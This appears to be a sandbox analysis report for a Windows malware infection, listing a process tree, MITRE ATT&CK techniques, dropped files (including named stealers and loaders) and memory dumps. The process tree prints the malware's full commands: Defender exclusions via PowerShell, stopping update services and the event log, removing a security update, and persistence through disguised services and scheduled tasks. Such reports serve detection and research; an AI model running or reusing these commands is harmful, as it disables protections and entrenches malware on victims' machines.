- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\D48.exeC:\Users\Admin\AppData\Local\Temp\D48.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\298B.bat" "1⤵
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 12⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4AD0.exeC:\Users\Admin\AppData\Local\Temp\4AD0.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\9C7B.exeC:\Users\Admin\AppData\Local\Temp\9C7B.exe1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\B989.exeC:\Users\Admin\AppData\Local\Temp\B989.exe1⤵
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exeC:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵
- Executes dropped EXE
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exeC:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s Netman1⤵
-
C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exeC:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exeC:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe1⤵
- Checks BIOS information in registry
- Suspicious use of SetThreadContext
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4F63EC662232C9C9E2298DC9D382CF86 C2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 776BEBA22A83F5914ACAF76AAFAF71602⤵
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\uuishcrC:\Users\Admin\AppData\Roaming\uuishcr1⤵
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\Windata\system.exeC:\Users\Admin\AppData\Roaming\Windata\system.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -s Netman1⤵
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
-
C:\Users\Admin\AppData\Roaming\Windata\system.exeC:\Users\Admin\AppData\Roaming\Windata\system.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
-
C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exeC:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe1⤵
- Checks computer location settings
-
C:\Windows\system32\cmd.exe"cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f3⤵
- Creates scheduled task(s)
-
-
-
C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exeC:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Drops file in Program Files directory
-
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exeC:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exe --Task1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exeC:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exe --Task2⤵
-
-
C:\Users\Admin\AppData\Roaming\uuishcrC:\Users\Admin\AppData\Roaming\uuishcr1⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\WerFault.exe"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20240216-0310.dm1⤵
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exeC:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exeC:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Windata\system.exeC:\Users\Admin\AppData\Roaming\Windata\system.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
6Disable or Modify System Firewall
1Disable or Modify Tools
4Modify Registry
9Pre-OS Boot
1Bootkit
1Scripting
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
DDDDDDDDDDD
1YwR2c1YK.README.txt
settings3.bin
Are.docx
HJDBFBKK
.exe
.exe
.exe
TSMSOQO.exe
mozglue.dll
nss3.dll
CoinSurf.WPF.exe
CoinSurf.WPF.exe
CoinSurf.WPF-1.0.5-full.nupkg
settings.dat
the-real-index
data_1
Network Persistent State
Network Persistent State
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Secure Preferences
index.txt
index.txt
index.txt~RFe5c6c1f.TMP
CURRENT
the-real-index
the-real-index~RFe5cdc0f.TMP
16.png
Local State
Local State
Local State
Local State
persisted_first_party_sets.json
daisy123.exe.log
powershell.exe.log
is-UP6UN.tmp
explorgu.exe
do.ps1
fu.exe
ladas.exe
dota.exe
InstallSetup3.exe
lolololoMRK123.exe
National.exe
987123.exe
dayroc.exe
goldprime12241421421.exe
phonesteal.exe
daisy123.exe
lumma123142124.exe
new.exe
redline1234min.exe
Amadey.exe
1800.exe
32.cab
64.cab
721E.exe
Businesses
96CD.exe
9C7B.exe
ailogo.ico
BEF8.exe
1.exe
6.exe
7e207560.exe
7e207560.exe
7e207560.exe
7e207560.exe
Banana.exe
DDDDDDD
File300un.exe
StealerClient_Sharp_1_4.exe
StealerClient_Sharp_1_4.exe
Temp2.exe
a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
app1.exe
april.exe
asas.exe
asas.exe
asdfg.exe
crypted.exe
cs_maltest.exe
dayroc.exe
dota.exe
for.exe
for.exe
ghjk.exe
ghjk.exe
installer.exe
installer.exe
june.exe
june.exe
ma.exe
ma.exe
osminogs.exe
rty45.exe
sc.exe
Include.exe
MSI.CentralServer.exe
__PSScriptPolicyTest_klkdp45v.w2w.ps1
aut6A03.tmp
d21cbe21e38b385a41a68c5e6dd32f4c.exe
d21cbe21e38b385a41a68c5e6dd32f4c.exe
june.tmp
_shfoldr.dll
nine.exe
INetC.dll
nsv4DA1.tmp
prefix3857287780
skin.dll
tmp9599.tmp.bat
toolspub1.exe
unviyvglluqf
upx.exe
clip64.dll
cred64.dll
Helper.msi
mstsca.exe
UiKVWpFsayx.exe
system.exe
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
logs.dat
STAR.exe
bott.exe
svcservice.exe
MSI17F0.tmp
RVHOST.exe
asg.exe
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-Interactive
StartupProfileData-Interactive
setting.ini
csrss.exe
csrss.exe
DDDDDDDDDDD
_README.txt
_iscrypt.dll
memory/524-381-0x0000000000400000-0x0000000002FC1000-memory.dmp
memory/524-43-0x0000000004C80000-0x0000000005081000-memory.dmp
memory/524-395-0x0000000000400000-0x0000000002FC1000-memory.dmp
memory/524-380-0x0000000004C80000-0x0000000005081000-memory.dmp
memory/524-49-0x0000000000400000-0x0000000002FC1000-memory.dmp
memory/524-42-0x0000000005090000-0x000000000597B000-memory.dmp
memory/648-33-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/648-9-0x00000000001A0000-0x000000000062A000-memory.dmp
memory/648-10-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/992-214-0x0000000000050000-0x0000000000554000-memory.dmp
memory/992-217-0x00007FFA8A7B0000-0x00007FFA8B19C000-memory.dmp
memory/992-218-0x00000000012F0000-0x0000000001300000-memory.dmp
memory/992-219-0x00000000012D0000-0x00000000012D1000-memory.dmp
memory/992-225-0x00007FFA8A7B0000-0x00007FFA8B19C000-memory.dmp
memory/1960-436-0x00000117BB650000-0x00000117BB664000-memory.dmp
memory/2360-411-0x0000000007000000-0x0000000007010000-memory.dmp
memory/2360-410-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/2392-438-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-437-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-497-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-496-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-476-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-478-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-470-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-474-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-468-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-455-0x000002CA81BA0000-0x000002CA81BC0000-memory.dmp
memory/2392-444-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2392-452-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2488-61-0x0000000007E50000-0x0000000007E6C000-memory.dmp
memory/2488-56-0x00000000070A0000-0x00000000076C8000-memory.dmp
memory/2488-52-0x00000000069A0000-0x00000000069D6000-memory.dmp
memory/2488-53-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/2488-54-0x0000000006A60000-0x0000000006A70000-memory.dmp
memory/2488-55-0x0000000006A60000-0x0000000006A70000-memory.dmp
memory/2488-57-0x0000000007700000-0x0000000007722000-memory.dmp
memory/2488-58-0x00000000077A0000-0x0000000007806000-memory.dmp
memory/2488-59-0x00000000079F0000-0x0000000007A56000-memory.dmp
memory/2488-60-0x0000000007A60000-0x0000000007DB0000-memory.dmp
memory/2488-393-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/2488-62-0x00000000081F0000-0x000000000823B000-memory.dmp
memory/2488-82-0x0000000008EF0000-0x0000000008F2C000-memory.dmp
memory/2488-127-0x000000007EDC0000-0x000000007EDD0000-memory.dmp
memory/2488-126-0x0000000009DF0000-0x0000000009E23000-memory.dmp
memory/2488-128-0x000000006DC50000-0x000000006DC9B000-memory.dmp
memory/2488-384-0x0000000006A60000-0x0000000006A70000-memory.dmp
memory/2488-382-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/2488-130-0x0000000009DD0000-0x0000000009DEE000-memory.dmp
memory/2488-135-0x0000000009E30000-0x0000000009ED5000-memory.dmp
memory/2488-129-0x000000006DCA0000-0x000000006DFF0000-memory.dmp
memory/2488-138-0x0000000006A60000-0x0000000006A70000-memory.dmp
memory/2488-137-0x000000000A010000-0x000000000A0A4000-memory.dmp
memory/2488-354-0x0000000009FA0000-0x0000000009FA8000-memory.dmp
memory/2488-349-0x0000000009FB0000-0x0000000009FCA000-memory.dmp
memory/2636-389-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/2636-96-0x0000000000C60000-0x0000000000D3C000-memory.dmp
memory/2636-99-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/2636-103-0x0000000007A30000-0x0000000007AA6000-memory.dmp
memory/2784-397-0x0000000004C60000-0x000000000505F000-memory.dmp
memory/2784-398-0x0000000000400000-0x0000000002FC1000-memory.dmp
memory/3340-365-0x0000000000650000-0x0000000000666000-memory.dmp
memory/3500-40-0x0000000002C40000-0x0000000002C4B000-memory.dmp
memory/3500-41-0x0000000000400000-0x0000000002BD7000-memory.dmp
memory/3500-366-0x0000000000400000-0x0000000002BD7000-memory.dmp
memory/3500-39-0x0000000002D90000-0x0000000002E90000-memory.dmp
memory/3772-213-0x0000000005050000-0x0000000005060000-memory.dmp
memory/3772-136-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/3772-1-0x0000000004EB0000-0x0000000004F4C000-memory.dmp
memory/3772-0-0x0000000000620000-0x0000000000628000-memory.dmp
memory/3772-3-0x0000000005050000-0x0000000005060000-memory.dmp
memory/3772-2-0x00000000732B0000-0x000000007399E000-memory.dmp
memory/4160-379-0x000002F513930000-0x000002F51393E000-memory.dmp
memory/4160-141-0x000002F511F20000-0x000002F511F2D000-memory.dmp
memory/4160-383-0x00007FFA8A7B0000-0x00007FFA8B19C000-memory.dmp
memory/4160-446-0x00007FF6221B0000-0x00007FF6221F4000-memory.dmp
memory/4696-434-0x00007FFA98B30000-0x00007FFA98D0B000-memory.dmp
memory/4800-391-0x0000000001480000-0x0000000001481000-memory.dmp
memory/4800-390-0x0000000001510000-0x0000000001520000-memory.dmp
memory/4800-388-0x00007FFA8A7B0000-0x00007FFA8B19C000-memory.dmp
memory/4812-813-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-768-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-737-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-732-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-739-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-727-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-726-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-773-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-782-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-799-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-741-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-735-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-758-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-745-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-803-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-753-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-807-0x0000000005170000-0x0000000005373000-memory.dmp
memory/4812-788-0x0000000005170000-0x0000000005373000-memory.dmp
memory/5068-23-0x0000000002EA0000-0x0000000002FA0000-memory.dmp
memory/5068-27-0x0000000002E30000-0x0000000002E6C000-memory.dmp
memory/5068-38-0x0000000000400000-0x0000000002BED000-memory.dmp
memory/5068-378-0x0000000002EA0000-0x0000000002FA0000-memory.dmp